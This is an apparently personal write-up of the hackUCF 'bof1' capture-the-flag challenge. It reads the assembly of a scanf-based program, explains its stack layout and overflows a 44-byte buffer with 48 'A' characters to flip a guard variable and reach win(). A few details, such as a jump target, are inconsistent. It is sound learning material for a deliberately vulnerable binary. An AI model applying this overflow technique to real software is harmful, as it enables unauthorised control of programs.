hackucf: bof1
Challenge from the hackUCF archive, in the pwn category.
My second BOF challenge completed 😃
Trying to learn without using ghidra, and with just assembly. 💀
Here is the main function:
;-- main:
0x00401246 invalid
0x00401247 invalid
0x00401248 invalid
0x00401249 cli
0x0040124a push rbp
0x0040124b mov rbp, rsp
0x0040124e sub rsp, 0x30
0x00401252 mov dword [rbp - 4], 0
0x00401259 lea rax, qword [rbp - 0x30]
0x0040125d mov rsi, rax
0x00401260 lea rdi, qword [0x00402024]
0x00401267 mov eax, 0
0x0040126c call __isoc99_scanf ; sym.imp.__isoc99_scanf
0x00401271 cmp dword [rbp - 4], 0
0x00401275 je 0x40127e
0x00401277 call win ; sym.win
0x0040127c jmp 0x40128a
0x0040127e lea rdi, qword str.nope ; 0x402027
0x00401285 call section..plt.sec
0x0040128a mov eax, 0
Walking through it:
rbp - base pointer, pointers to the bottom/base of the stack frame
rsp - points to the top of the current stack frame
0x0040124e sub rsp, 0x30 <-- stack of size 48 bytes
Move 0 (4 bytes) into the address [rbp-4], (basically set var_b = 0;
)
0x00401252 mov dword [rbp - 4], 0
Load the effective address of [rbp-0x30] into the rax register.
0x00401259 lea rax, qword [rbp - 0x30]
We can now visualize the stack, with var_a being the variable being at rbp-0x30, and var_b being at the rbp-4.
This next block setups the scanf() call with the var_a being passed in as var_a so the call is scanf([0x00402024], var_a);
0x0040125d mov rsi, rax
0x00401260 lea rdi, qword [0x00402024]
0x00401267 mov eax, 0
0x0040126c call __isoc99_scanf ; sym.imp.__isoc99_scanf
We now compare var_b to 0, if var_b is equal to 0 we jump to 0x401270 which prints nope!
0x00401271 cmp dword [rbp - 4], 0
0x00401275 je 0x40127e <---- jump to the line that prints nope
Otherwise it calls the function win, which opens the file containing the flag.
0x00401277 call win ; sym.win
To exploit this we want to overflow the buffer of var_a so we can overwrite var_b to equal something besides 0.
Since var_a is of size 44, we need to write more that 44 bytes to it.
crazyeights@es-base:~$ python3 -c 'print("A"*48)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I used 48 bytes, and I created a flag.txt file so it would get an error when it tried to open it.
We now have the flag! We can see flag.txt being opened when we run the program with strace.
Here is the actual code, which is much easier to read than assembly. 😑
undefined8 main(void)
{
undefined local_38 [44];
int local_c;
local_c = 0;
__isoc99_scanf(&DAT_00402024,local_38);
if (local_c == 0) {
puts("nope!");
}
else {
win();
}
return 0;
}
I am terrible at explaining things, I hope that was okay.
FIN. 🥳